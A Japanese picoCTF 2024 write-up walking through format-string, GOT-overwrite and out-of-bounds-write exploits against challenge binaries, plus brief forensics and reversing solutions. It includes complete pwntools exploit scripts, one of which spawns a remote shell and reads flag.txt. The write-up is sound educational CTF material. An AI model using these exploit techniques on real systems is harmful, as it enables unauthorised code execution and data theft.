picoCTF 2024に、チーム「3akuma3a3ao3a3aba3a3ake3a3akuma3a」で参加しました!解いた問題のWriteupです!Binary Exploitを担当したので(理由になってなさすぎ!pwn以外はそこまでわからないからです!)、Binary Exploitを重点的に、他は軽く書きます!
flagに乱数っぽいものが含まれてる場合ありますよね!映していいのかわからず、とりあえず隠しておきます!ウワァ!
標準入力の強調、できてません!ごめんなさい!!!!!
一部、表示を変更しています!(PEDAの出力を省略したりなど)
- Binary Exploitation
- 300 format string 3
- 400 babygame03
- (解けませんでした)500 h1gh fr3quency tr0ubles(検索避けのため、一部leet表記しています!効くか?!?!?!)
- Forensics
- Reverse Engineering
- わっしょーーーーい!!!結果, 感想など!
Binary Exploitation
チームのみなさんに半分ぐらい解いていだたけてしまい、ウワーーーーー!ぼくっていらないのかも!!!!!になりましたが!
format stringの1から3とbabygame03が解けたので、「フフン、やっぱりぼくっていらなくなかったネ」になりました!フフン 全完はできませんでした ホホホ...
(チームのみなさんへ ↑スルーしてください↑↑ ぼくより)
100 format string 1
ざっくり!:fsaでflagを読み取ります!スタック上の特定の場所を直接指定するといい感じです!
secret-menu-item-1.txtは alice
、secret-menu-item-2.txtは bob
としています!
バイナリの概要です↓
$ file format-string-1 format-string-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped $ checksec format-string-1 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
実行してみます!
$ ./format-string-1 Give me your order and I'll read it back to you: AAAA Here's your order: AAAA Bye!
アアアアBye!
flag.txtがflag変数に格納されているのですが、それを出力する処理は実装されていません!ですが!
36行目に printf(buf);
のfsbがあります!これを使えば出力させれそうです!やったー!
GDBでprintf(buf)直前のスタックを表示してみます
gdb-peda$ b *main+305 gdb-peda$ r Give me your order and I'll read it back to you: AAAA gdb-peda$ stack 10 0000| 0x7fffffffdfe0 --> 0xa626f62 ('bob\n') 0008| 0x7fffffffdfe8 --> 0x0 0016| 0x7fffffffdff0 --> 0x7ffff7c07e60 --> 0xf001200000b76 0024| 0x7fffffffdff8 --> 0x3055e4 0032| 0x7fffffffe000 --> 0x7fffffffe140 --> 0x7ffff7fc3908 --> 0xd00120000000e 0040| 0x7fffffffe008 --> 0x7ffff7c1bf7a ("_dl_audit_preinit") 0048| 0x7fffffffe010 --> 0x7ffff7fbb4d0 --> 0x7ffff7ffe5a0 --> 0x7ffff7fbb690 --> 0x7ffff7ffe2e0 --> 0x0 0056| 0x7fffffffe018 --> 0x7fffffffe0a0 --> 0x41414141 ('AAAA') 0064| 0x7fffffffe020 ("picoCTF{test}\n") 0072| 0x7fffffffe028 --> 0xa7d74736574 ('test}\n')
うおおお9番目にあります!64bitだと第5引数まではレジスタを使うため、5 + 9 = 14 で第14引数という扱いになるとわかります! 第14引数の8バイトを16進数として指定する書式文字列は "%14$lx" です! !!!!
試してみます!
$ echo '%14$lx' | ./format-string-1 Give me your order and I'll read it back to you: Here's your order: 7b4654436f636970 Bye!
7b4654436f636970 をASCIIとして文字列に直してみると、{FTCocip となります!これをもとに、exploitコードを書きました!
from pwn import * # %14$016lx,%15$016lx,%16$016lx... というペイロードを作る # 今回、char flag[64] であることから、64バイト分 = lxを8回分表示すればOKですので、forを8回繰り返しています! # 8バイトは16進数で16文字なので、016で0埋めの右詰め16桁とすることができます!書式文字列便利!むずい! payload = b"" for i in range(8): payload += "%{}$016lx,".format(i+14).encode() address = '''hoge''' # ご自身の環境に合わせて変えてください! port = '''fuga''' # ご自身の環境に合わせて変えてください!2 io = remote(address, port) io.recvuntil(b"Give me your order and I'll read it back to you:\n") io.sendline(payload) io.recvuntil(b"Here's your order: ") # ペイロードの出力結果をカンマで分割し、リストにします! 末尾の改行だけの要素はついでに取り除いちゃいます! leak = io.recvline().decode().split(",")[:-1] # ASCII・リトルエンディアンとして復元です! raw_flag = "" for i in leak: tmp = "" for j in range(0, len(i), 2): tmp += chr(int(i[j:j+2], 16)) raw_flag += tmp[::-1] print(raw_flag[:raw_flag.find("}")+1]) # "}" まで出力
$ python exploit.py [+] Opening connection to hoge on port fuga: Done picoCTF{4n1m41_57y13_4x4_f14g_/*乱数*/} [*] Closed connection to hoge port fuga
picoCTF{4n1m41_57y13_4x4_f14g_/乱数/}
200 format string 2
ざっくり!:fsaでsusを書き換えます!.dataがランダマイズされていないので、リークの必要なくアドレスを指定できます!
↓バイナリの概要です
$ file vuln vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped $ checksec vuln Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
実行してみます!
18 if (sus == 0x67616c66)
が満たされていれば、flagを出力してくれるようです!ですが、susに書き込む処理は実装されていません...トホホ あれ!
14 printf(buf);
がありますね?!うれしさ 18行目の判定より先に攻撃できます! かの有名な書式文字列、n 様を使うとき! n様の詳しい説明は、format string 1のHintsの1のPDFの3.4(さんのよん)の方を("の"ストリーク切れ NO…)見ていただけると、わかりやすいかと___
ちなみにちなみに、0x67616c66を文字列にすると "galf" です!こちらのほうがわかりやすい気がするので、こちらの表記も使わせてください!(エンディアンでわかりにくいかも!後ろの方にちょっと書いときます!(偉偉い))
susはグローバル変数で、かつ初期化されているので、.dataに存在します!.dataセクションって書いても大丈夫ですか...?これ データセクションだとちょっと多義性があり .dataセクションって書かせてください!やっぱり.dataでいいです(え?)
PIEがオフのとき、.dataはランダマイズされないです なぜ...?←あとで調べる ,
objdumpで.dataを調べます!
$ objdump -d -M intel -j .data vuln | grep sus 0000000000404060 <sus>: 404060: 73 75 73 21 sus!
susのアドレスは0x404060のようですね!くらえーーーーっ!🍡!🍡!🍡!🍡!(三色団子は何個あっても三色団子🍡 おお←お団子のことを呼び捨てしちゃった "むくい" です)
さて!0x404060のあるアドレスをポインタとして指定したいところですが...?
gdb-peda$ searchmem 0x404060 Searching for '0x404060' in: None ranges Not found
見つかりません!そんな ここで、何でわざわざそんな無駄なことやってるんだ...になった方、ごめんなさい。グオー...
あのですね、入力中に0x404060を盛り込んじゃえばいいです。そしてそれをポインタとして使えばいいです。ぼくはこれになかなか気づかず、でも!おかげでいろいろ知れたのでよかったです。🎃🌸
最終的に0x404060を0x67616c66("galf")にしたいのですが、%nでこれを書き込むには、すこし工夫が必要です なぜなら、0x67616c66(≒2*109)文字出力されるのを待つのは、ちょっと、大変ですよね それに、問題サーバーの設定やネットワークのあれこれ(あれこれってなんですか?!?!?!)によってそもそも途中で停止してしまうかもしれません。でも!0x404060に "lf" を、0x404062に "ga" を、としても!susは "galf" となりますね!
0x6c66("lf")(=27750)文字なら、だいたい(かなりだいたい)1/105です!2*104文字の出力ならすぐに終わります!(1文字ずつにしてもいいのですが、そうするとちょっとペイロードがわかりにくくなると思い今回は2文字ずつにしています!)
まとめると、
- 0x6761("ga")文字出力
- 0x404062に書き込み
- 0x6c66 - 0x6761("lf" - "ga")文字出力
- 0x404060に書き込み
という手順を踏むことで、十分高速にsusを "galf" に書き換えることができます。(%nで書き込む値は、それまでに出力した総文字数です!今回、0x6c66を書き込む前に0x6761文字出力しているため、新たに0x6c66 - 0x6761文字出力することで0x6c66を書き込むことができるというわけです!混乱! さらなる混乱!0x6c66を先に書き込んだ場合、0x6761を後に書き込むためには、オーバーフローさせてカウントを戻す必要があります!ଳ←クラゲ〜ଳ ଳ<詳しくは調べてみてね!←クラゲがおっしゃってますクラゲが🐤)
GDBいきます!
gdb-peda$ b *main+95 # printf(buf)直前です! gdb-peda$ r You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say? 01234567ABCDEFGH gdb-peda$ stack 10 0000| 0x7fffffffe070 --> 0x1f7ffdaf0 0008| 0x7fffffffe078 --> 0x7ffff7fbb4d0 --> 0x7ffff7ffe5a0 --> 0x7ffff7fbb690 --> 0x7ffff7ffe2e0 --> 0x0 0016| 0x7fffffffe080 --> 0x0 0024| 0x7fffffffe088 --> 0x7fff00000000 0032| 0x7fffffffe090 --> 0x7fff00000000 0040| 0x7fffffffe098 --> 0x7fff00000000 0048| 0x7fffffffe0a0 --> 0xffffffff 0056| 0x7fffffffe0a8 --> 0x7fffffffe160 --> 0x1 0064| 0x7fffffffe0b0 ("01234567ABCDEFGH") 0072| 0x7fffffffe0b8 ("ABCDEFGH")
9番目です!64bitですので、レジスタ分を考慮し、5 + 9 = 14 より第14引数にbufがあるとわかります!
また、今回はアドレスに '\x00' が含まれる(0x0000000000404060 がアドレスの全体です!)ため、書式文字列の後ろにアドレスを置く必要があります(そうしないとprintfが書式文字列に達するより早くreturnしちゃいます!)
では、exploit.pyを作ります!作りました!
from pwn import * ga = 0x6761 lf = 0x6c66 # ペイロードのポインタ部分以外を作る関数です!繰り返し使います! # 第何引数なのか不明ですが、2文字の可能性が高そうなので初期値は10にしました! def init_payload(argnum = 10): global ga global lf payload = b"" payload += ("%{}c".format(str(ga))).encode() payload += ("%{}$hn".format(str(argnum))).encode() payload += ("%{}c".format(str(lf-ga))).encode() payload += ("%{}$hn".format(str(argnum + 1))).encode() # ペイロードの長さが8の倍数でなかったとき、Aで埋める!(8の倍数になるように) if len(payload) % 8 != 0: payload += b"A" * (8 - len(payload) % 8) return payload test_payload = init_payload() # アドレスが何番目の引数になるか不明なので、仮のペイロードを作成 payload = init_payload(14 + (len(test_payload) // 8)) # アドレスが何番目の引数になるか明確なので、仮じゃないペイロードを作成 payload += p64(0x404062) payload += p64(0x404060) address = '''hoge''' # ご自身の環境に合わせて変えてください!! port = '''fuga''' # ご自身の環境に合わせて変えてください!!2 io = remote(address, port) io.recvuntil(b"What do you have to say?\n") io.sendline(payload) io.recvuntil(b"\x40") io.recvuntil(b"Here you go...\n") flag = io.recv().decode() print(flag)
$ python exploit.py [+] Opening connection to hoge on port fuga: Done picoCTF{f0rm47_57r?_f0rm47_m3m_/*乱数*/} [*] Closed connection to hoge port fuga
picoCTF{f0rm47_57r?f0rm47_m3m/乱数/}
これって echo -e
を使うと便利に色々試せるのでおすすめです!ぼくはコンテスト中は echo -e で通しましたぼくは つまりまがいもののexploitコード...?(そうです!)
うおお
0x404060のポインタを作るところで大いに苦戦しました。なぜなら弱いので。わあ!書式文字列が評価されるのってどういうタイミングなんですか?実装を読みますね、でも今はまだ...(読みます!) (saved_rbpをポインタとして0x404060を書き込み、それをポインタとしてsusを書き換えようとしていました!!!!!!!!!!!!!!!!!)
エンディアンと型
intの 0x41424344 とchar *の "abcd" がリトルエンディアンにおいてどう配置されるか見てみます!
void main() { int a = 0x41424344; char *b = "abcd"; }
$ gcc -no-pie -o kakuniin kakuniin.c $ gdb -q kakuniin gdb-peda$ disas main Dump of assembler code for function main: 0x0000000000401106 <+0>: endbr64 0x000000000040110a <+4>: push rbp 0x000000000040110b <+5>: mov rbp,rsp 0x000000000040110e <+8>: mov DWORD PTR [rbp-0xc],0x41424344 0x0000000000401115 <+15>: lea rax,[rip+0xee8] # 0x402004 0x000000000040111c <+22>: mov QWORD PTR [rbp-0x8],rax 0x0000000000401120 <+26>: nop 0x0000000000401121 <+27>: pop rbp 0x0000000000401122 <+28>: ret End of assembler dump. gdb-peda$ b *main+26 gdb-peda$ r gdb-peda$ x/wx $rbp-0xc 0x7fffffffe4a4: 0x41424344 gdb-peda$ x/wx 0x402004 0x402004: 0x64636261
intの方はそのままの順番で、char *は逆順になっていますね!単体の変数内はリトルエンディアンでごちゃごちゃにならないっぽい!です!たぶん! リトルエンディアンによっていつもうわーーーーーーーーー!になります!
hintsに従い、pwntoolsで簡単に!❀🌺
pwntoolsでfsaを簡単に実行できます!
from pwn import * context.arch = "amd64" address = '''hoge''' # ご自身の環境に合わせて変えてください!! port = '''fuga''' # ご自身の環境に合わせて変えてください!!2 io = remote(address, port) def exploit(payload): io.recvuntil(b"What do you have to say?\n") io.sendline(payload) io.recvuntil(b"\x40") io.recvuntil(b"Here you go...\n") print(io.recv().decode()) return fmtstr_object = FmtStr(execute_fmt=exploit, offset=14) fmtstr_object.write(0x404060, 0x67616c66) fmtstr_object.execute_writes()
便利!
300 format string 3
ざっくり!:fsaでGOT Overwriteをしてsystem関数を呼び出します!
↓バイナリの概要です↓
$ file format-string-3 format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped $ checksec format-string-3 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'.'
↓libcの概要です↓
$ file libc.so.6 libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=8bfe03f6bf9b6a6e2591babd0bbc266837d8f658, for GNU/Linux 4.4.0, stripped $ checksec libc.so.6 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
pwninitを使うと配布されたlibcを使って実行するELFを出力してくれます!出力先は format-string-3_patched
実行してみると、
$ ./format-string-3_patched Howdy gamers! Okay I'll be nice. Here's the address of setvbuf in libc: 0x748dbbb893f0 AAAA AAAA /bin/sh
なるほどなるほど、libcのアドレスをリークしてくださっていますね!おまけに "/bin/sh" も出力してくださってる!これは、使えるかも___
ランダマイズされてるとはいえ、libc内のオフセットは一定ですので、setvbufがわかるということは!execveなりsystemなり呼び出せます!もうシェル呼び出しのための関数はゲットできましたね!あとは、引数に "/bin/sh" を渡したいところですが...?
5 char *normal_string = "/bin/sh"; ・ ・ ・ 18 int main() { ・ ・ 25 fgets(buf, 1024, stdin); 26 printf(buf); 27 28 puts(normal_string); ・ ・ 31 }
あ!putsに "/bin/sh" を渡していますね?!しかもその直前にはfsbが!これを使って、puts()の呼び出し先をsystem関数にしてしまえば、system("/bin/sh") ができそうです!
つまり、
mov rax,QWORD PTR [rip+0x2d59] ; [rip+0x2d59] <normal_string> mov rdi,rax call <puts@plt>
というアセンブリを
mov rax,QWORD PTR [rip+0x2d59] ; [rip+0x2d59] <normal_string> mov rdi,rax call <system@plt> ; この部分をこう書き換えたい!
と書き換えたいわけです!しかし、.textは書き換え不可___ ここで終わったのでした。
…え?.........ええ?...............えェッ?!
GOTは書き換えられるんですか?!書き換えられるんです!Partial RELROだから!しかもNo PIEなら!GOTのアドレスはランダムじゃないです!
補足です!:今回、 call <system@plt>
と書き換えることはしません!上のアセンブリ例で混乱させてしまったら、ごめんなさい___ このwriteupでは、puts@plt
で呼び出すアドレスを、system関数のアドレスに書き換える解法を紹介しています!
みなさん、PLTとGOTをご存知ですか?ぼくはなんと!運良くご存知 です🐫
共有ライブラリを呼び出すときには、動的にリロケートが行われます!呼び出しの手順を、書いちゃいますね!
まず、ELFを実行してから1回目の呼び出しです! 2回目以降とは違うため!です!
- PC(プログラムカウンタ)をPLTに移す
- PLTからGOTに書き込まれたアドレス(リロケートした後、関数にジャンプする処理)にジャンプ
2回目以降です!
- PCをPLTに移す
- PLTからGOTに書き込まれたアドレス(関数のアドレス)にジャンプ
あんまり違わないですね!ワァィ!!!
C言語で再現するとこんな感じです!
#include <stdio.h> void hello(); void hello_relocater(); void hello_plt(); void (*hello_got)() = hello_relocater; void hello() { printf("> hello にいます!\n"); printf("Hello!\n"); } /* ここ(relocater)はブラックボックス___ */ void hello_relocater() { printf("> hello_relocater にいます!\n"); hello_got = hello; hello(); } void hello_plt() { printf("> hello_plt にいます!\n"); hello_got(); } void main() { printf("1回目\n"); hello_plt(); printf("2回目\n"); hello_plt(); }
1回目 > hello_plt にいます! > hello_relocater にいます! > hello にいます! Hello! 2回目 > hello_plt にいます! > hello にいます! Hello!
これってわかりやすいですか?どうなんだ...(どうなんだ...)
で!あとは(あとはってなんですか?!わからないです!!!!!)、puts@gotをfsbでsystem関数のアドレスに書き換えちゃえばいいですね!
あ!!!bufはprintfの第38引数でした(調べ方はformat string 1, 2のwriteupに書いときました!)!!!
exploitコードです!
from pwn import * context.arch = "amd64" chall = ELF("./format-string-3") libc = ELF("./libc.so.6") address = '''hoge''' # ご自身の環境に合わせて変えて下さい! port = '''fuga''' # ご自身の環境に合わせて変えて下さい!2 io = remote(address, port) io.recvuntil(b"libc: ") setv_address = int(io.recvline()[:-1].decode(), 16) libc.address = setv_address - libc.symbols["setvbuf"] # setv_addressからlibcのベースアドレスを計算・設定 io.sendline(fmtstr_payload(38, {chall.got["puts"]: libc.symbols["system"]}, write_size="short")) io.recv() # fsaの長い表示ってどう捨てればいいんですあ?!?!?!k io.sendline(b"echo piyo") io.recvuntil(b"piyo") # シェル奪取できてるはず!なので!インタラクティブに切り替えます! io.interactive()
$ python exploit.py [*] './format-string-3' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'.' [*] './libc.so.6' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to hoge on port fuga: Done [*] Switching to interactive mode $ ls Makefile artifacts.tar.gz flag.txt format-string-3 format-string-3.c ld-linux-x86-64.so.2 libc.so.6 metadata.json profile $ cat flag.txt picoCTF{G07_G07?_/*乱数*/}
picoCTF{G07_G07?_/乱数/}
イエーイ!!やったー!ほっほーーーーーーーい!コンテスト中、systemのことをすっかり忘れてexecveのためにROPをがんばって考えてましたしばらく!!!!!
400 babygame03
ざっくり!:配列外の書き換えでパラメータとかリターンアドレスとか書き換えます!
バイナリの↓概要
$ file game game: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=a029dc18edaa968bc97e9c92c73151ae8155edaf, for GNU/Linux 3.2.0, not stripped $ checksec game Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
実行!おためし
$ ./gameさァ〜〜〜〜て、エンターを、と... ...て... ん? …て... …って... 待って!!!!! え?!何何何?!?!?!
長い!ので、おために←たいぽ実行しません!おためし すみません!!!!!イイヨーありがとうございます...
えっとですね!move_player中のメモリを調べました!すると、マップの先頭からアドレスが低い方へ51バイト離れたところにリターンアドレスがありました!
move_playerには
// int *[y, x]は擬似のです!!!!!!!!! void move_player(int *[y, x], char user_inp, int map, undefined4 level) { ・ ・ if (user_inp == 'l') { tmp_char = getchar(); player_tile = (undefined)tmp_char; } ・ ・ *(undefined *)(y * 90 + map + x) = player_tile; ・ ・ }
という処理(逆コンパイル後、いくらか整えてあります!)があり、これはmap以外も書き換えられますので、リターンアドレスの書き換えができそうです!やった!
さて、リバースエンジニアリングをしてみると、単にwinに飛べばいいわけではないとわかります。第一引数に、5 を指すポインタが指定されていますね。うーむ、これをスタック上に用意するのはなかなか大変そうです!が!
undefined4 main() { ・ ・ if (((y == 29) && (x == 89)) && (level != 4)) { /* levelのインクリメントなどごにょごにょ */ } ・ ・ }
の中に処理を移してしまえばよさそうですね!そうすれば、スタックを整えたりが必要なくなります! 勝った___ ところで、
0x08049927 <+182>: call 0x8049533 <move_player> 0x0804992c <+187>: add esp,0x10 0x0804992f <+190>: sub esp,0x4 0x08049932 <+193>: lea eax,[ebp-0xaac] 0x08049938 <+199>: push eax 0x08049939 <+200>: lea eax,[ebp-0xaa8] 0x0804993f <+206>: push eax 0x08049940 <+207>: lea eax,[ebp-0xa99] 0x08049946 <+213>: push eax 0x08049947 <+214>: call 0x8049453 <print_map> 0x0804994c <+219>: add esp,0x10 0x0804994f <+222>: mov eax,DWORD PTR [ebp-0xaa8] 0x08049955 <+228>: cmp eax,0x1d 0x08049958 <+231>: jne 0x80499c7 <main+342> 0x0804995a <+233>: mov eax,DWORD PTR [ebp-0xaa4] 0x08049960 <+239>: cmp eax,0x59 0x08049963 <+242>: jne 0x80499c7 <main+342> 0x08049965 <+244>: mov eax,DWORD PTR [ebp-0xaac] 0x0804996b <+250>: cmp eax,0x4 0x0804996e <+253>: je 0x80499c7 <main+342> ; ↓levelのインクリメントなどごにょごにょ↓ 0x08049970 <+255>: sub esp,0xc 0x08049973 <+258>: lea eax,[ebx-0x1f18] 0x08049979 <+264>: push eax 0x0804997a <+265>: call 0x80490b0 <puts@plt> 0x0804997f <+270>: add esp,0x10 0x08049982 <+273>: add DWORD PTR [ebp-0xc],0x1 0x08049986 <+277>: mov eax,DWORD PTR [ebp-0xaac] 0x0804998c <+283>: add eax,0x1 0x0804998f <+286>: mov DWORD PTR [ebp-0xaac],eax
move_player直後からlevelインクリメントまでのアセンブリです。+255 から+286 のうち、どこにリターンすればいいのでしょう...?というのは、このアセンブリを元に決定しなければいけません(やった〜〜〜〜!)!なぜなら、espが目まぐるしく変わっているからです スタックフレームが揃っていないと、クラッシュしやすいですよね +187 からのespの遷移がこちらです!
0x08049927 <+182>: call 0x8049533 <move_player> 0x0804992c <+187>: add esp,0x10 +0x10 0x10 0x0804992f <+190>: sub esp,0x4 -0x4 0xc 0x08049938 <+199>: push eax -0x4 0x8 0x0804993f <+206>: push eax -0x4 0x4 0x08049946 <+213>: push eax -0x4 0 0x0804994c <+219>: add esp,0x10 +0x10 0x10 ; ↓levelのインクリメントなどごにょごにょ↓ 0x08049970 <+255>: sub esp,0xc -0xc 0x4 0x08049973 <+258>: lea eax,[ebx-0x1f18] 0x08049979 <+264>: push eax -0x4 0 0x0804997a <+265>: call 0x80490b0 <puts@plt> 0x0804997f <+270>: add esp,0x10 +0x10 0x10 0x08049982 <+273>: add DWORD PTR [ebp-0xc],0x1 0x08049986 <+277>: mov eax,DWORD PTR [ebp-0xaac] 0x0804998c <+283>: add eax,0x1
なるほど!move_player終わりからespの変化量が0で、かつlevelのインクリメントなどごにょごにょの部分なのは、+265 の call puts@plt
と +270 の add esp, 0x10
(実行開始時は0です!)ですね! putsは引数を使うため、エラーで止まったりスタックの状態が変わったりするかもです(それに!エピローグでも変わっちゃいそうですよね...)。とすると! +270、0x0804997fに決まりですね!
元のリターンアドレスは0x0804992cで、違いは最下位バイトだけです!
0x0804992c ←元のリターンアドレス
0x0804997f
↑↑↑↑↑↑↑↑↑↑↑
比較用です🦈🌸
比較用でした!
なので、"l\x7f" と入力することで player_title を 0x7f に変更し、その後、y * 90 + x = -51
となるようにすればいいわけです!ここで、できればあんまりメモリの関係ないとこを変更したくないですよね(クラッシュしたら攻撃が失敗してしまうので(攻撃が失敗したとき、悲しむ)) なので、極力 y * 90 + x > 0
となるようにmove_playerしましょう!ちなみに y * 90 + x = 0
だと '#' に当たった判定でゲームオーバーになります!
y * 90 + x = -51
は、x = 39, y = -1 ですね!移動距離は、初期値が(4, 4)ですので |39 - 4| + |-1 - 4| = 35 + 5 = 40!足りますね!ライフ!
そしてlevelが5になりましたら、あとは!winを呼べばいいですね♪もうこれは簡単です!単にスタックの一番上にlevelのポインタがあればいいので、
0x080499fe <+397>: sub esp,0xc 0x08049a01 <+400>: lea eax,[ebp-0xaac] 0x08049a07 <+406>: push eax 0x08049a08 <+407>: call 0x80497bc <win>
のところを見ると、&levelのpushはebpを基準としています!ebpはプロローグとエピローグ以外で変わることは基本ないので、もう遷移を確認せずにやっちゃいました!←ワル そして!+400は下位2バイトが0x9a01で、元のリターンアドレスの下位2バイト0x992cから書き換えるには2回書き換えなくては...なかなか大変そうですね...ですが!+397は!0x99fe!0x992cから1回だけ書き換えればOKです!これなら簡単です!うおおおおおありがとうございますかお🤩かお もうwinに入ってしまえばespがどうとか関係ないです!リターン後にクラッシュしても問題なし!そして数行前に書いた理由もあり、sub esp, 0xc
しても問題ないので!最後のリターンアドレス書き換えは、これに決まり___
tips:tipsが消えました そんな... 消える前のtips:'.' ←顔文字みたい!
ウオー、まとめると、
- "l\x7f" を入力
- なるべくy * 90 + x > 0となるルートを通り、(39, -1) に移動
- 2をあと3回(合計4回)繰り返し、levelを5にする
- "l\xfe" を入力
- 2を1回行う
です!ペイロードは
"l\x7f" # リターンアドレスの最下位バイトを0x7fに書き換えるための準備 + "d"*35 + "w"*5 # y * 90 + x > 0 を満たしながら (39, -1) に移動 × 4←横幅揃えるために大文字です!>-^ + "l\xfe" # リターンアドレスの最下位バイトを0xfeに書き換えるための準備 + "d"*35 + "w"*5 # y * 90 + x > 0 を満たしながら (39, -1) に移動
となりますね!exploit.pyです!
from pwn import * payload = b"" payload += b"l\x7f" payload += (b"d"*35 + b"w"*5)*4 payload += b"l\xfe" payload += b"d"*35 + b"w"*5 address = '''hoge''' # ご自身の環境に合わせて変えて下さい! port = '''fuga''' # ご自身の環境に合わせて変えて下さい!2 io = remote(address, port) io.sendline(payload) io.recvuntil(b"pico") print("pico" + io.recv().decode())
$ python exploit.py [+] Opening connection to hoge on port fuga: Done picoCTF{gamer_leveluP_/*乱数*/} [*] Closed connection to hoge port fuga
picoCTF{gamer_leveluP_/乱数/}
(解けませんでした)500 h1gh fr3quency tr0ubles(検索避けのため、一部leet表記しています!効くか?!?!?!)
niコマンドがわかんなくてうおーーーーーーー!ひゃっほーーーーーーーーーい!!!!!!!!! 解けませんでした!(niコマンドがわからなかったせいでは全然ないです!!!) mallocmallocmallocfree フリー フリーフォール ルン♪
みなさん、C言語のコードではなく、アセンブリの通りにデバッグしたい場合は、ni、ですよ、n、ではなく
Forensics
300 endianness-v2
ざっくり!:とりあえずファイル先頭のマジックナンバーがあったはずな部分から何か見つけれないか!→リトルエンディアンのjpegでした
うーむ、マジックナンバーがあったはずの部分を見てみます!
$ xxd -l 16 challengefile 00000000: e0ff d8ff 464a 1000 0100 4649 0100 0001 ....FJ....FI....
e0 ff d8 ff
で調べる(インターネッツで検索の方です!)と、JPEGでした 正しい順番は ff d8 ff e0 なので、とりあえず4バイト区切りのリトルエンディアンと当たりを付け、ソルバを書いてみました!
f = open("challengefile", "rb") data = f.read() tmp = b"" for i in range(0, len(data), 4): tmp += (data[i:i+4])[::-1] f.close() f = open("out.jpg", "wb") f.write(tmp) f.close()
うおおjpegとして表示できるようになりました!ラッキー!
picoCTF{cert!f1Ed_iNd!4n_s0rrY_3nDian_/乱数/}
Reverse Engineering
100 packer
バイナリを圧縮するっていう技術があるんですね?!知らなかった(しらなかったので) そのままではあんまり解析できず(逆アセンブルもできない!)、解凍する必要があるみたいです いろいろ調べた(インターネッで検索の方です!@!#)ところ、upxというものが!
$ wget clone https://github.com/upx/upx/releases/download/v4.2.2/upx-4.2.2-amd64_linux.tar.xz $ tar xvf upx-4.2.2-amd64_linux.tar.xz $ upx-4.2.2-amd64_linux/upx -d out
これで解凍できました!
GDBでmain内の call 0x4010d0
まで処理を進めてみると、引数にそれっぽい値が!ASCIIとして文字列に変換して、
raw = "7069636f4354467b5539585f556e5034636b314e365f42316e34526933535f/*乱数*/7d" flag_seg = "" for i in range(0, len(raw), 2): flag_seg += chr(int(raw[i:i+2], 16)) if i % 16 == 0: print(flag_seg, end="") flag_seg = "" print(flag_seg)
こちらがflagです!
picoCTF{U9X_UnP4ck1N6_B1n4Ri3S_/乱数/}
200 FactCheck
GDBで動作確認してたらなんかflag出てきました 想定解なのか...?これがFactCheckで合ってますか!
<main+1490> の実行後、スタックには完成したflagが___というワケ!です!
picoCTF{wELF_d0N3_mate_/乱数/}
300 Classic Crackme 0x100
Ghidraで逆コンパイルしました!変数名つけたりしたのがこちら↓
undefined8 main(void) { char buf [64]; char *ENC_PASS = "mpknnphjngbhgzydttvkahppevhkmpwgdzxsykkokriepfnrdm" setvbuf(stdout, (char *)0, 2, 0); printf("Enter the secret password: "); __isoc99_scanf("%50s", buf); size_t slen_epass = strlen((char *)&ENC_PASS); int len_epass = (int)slen_epass; int tmp; for (int i; i < 3; i = i + 1) { for (int j = 0; j < len_epass; j = j + 1) { uint local_1 = (j % 0xff >> 1 & 0x55) + (j % 0xff & 0x55); uint local_2 = ((int)local_1 >> 2 & 0x33) + (0x33 & local_1); tmp = ((int)local_2 >> 4 & 0xf) + ((int)buf[j] - (int)'a') + (0xf & local_2); buf[j] = 'a' + (char)tmp + (char)(tmp / 0x1a) * -0x1a; } } tmp = memcmp(buf, &ENC_PASS, (long)len_epass); if (tmp == 0) { printf("SUCCESS! Here is your flag: %s\n", "picoCTF{sample_flag}"); } else { puts("FAILED!"); } return 0; }
3回操作した後のj文字目は元のj文字目と一対一に対応しているとわかったので、全部のjに対してa~zの結果どの文字になるのか!のテーブルを作りました!計算量も大丈夫そうだったので!
GDBでパスワードをゲット!ゲト グッド グッド本舗 グッド谷(良い谷のこと) ←下書きの残りです 無視してくださいね
ソルバはこちら!
ENC_PASS = "mpknnphjngbhgzydttvkahppevhkmpwgdzxsykkokriepfnrdm" def once_enc(j, bufj): local_1 = (j % 0xff >> 1 & 0x55) + (j % 0xff & 0x55) local_2 = (local_1 >> 2 & 0x33) + (0x33 & local_1) tmp = (local_2 >> 4 & 0xf) + (bufj - ord("a")) + (0xf & local_2) return (ord("a") + tmp + (tmp // 0x1a) * -0x1a) enc_table = [[0]*(ord("z") - ord("a") + 1) for i in range(len(ENC_PASS))] for j in range(len(ENC_PASS)): for bufj in range(ord("a"), ord("z") + 1): tmp = bufj for k in range(3): tmp = once_enc(j, tmp) enc_table[j][bufj - ord("a")] = chr(tmp) for ind, i in enumerate(ENC_PASS): print(chr(enc_table[ind].index(i) + ord("a")), end="") print()
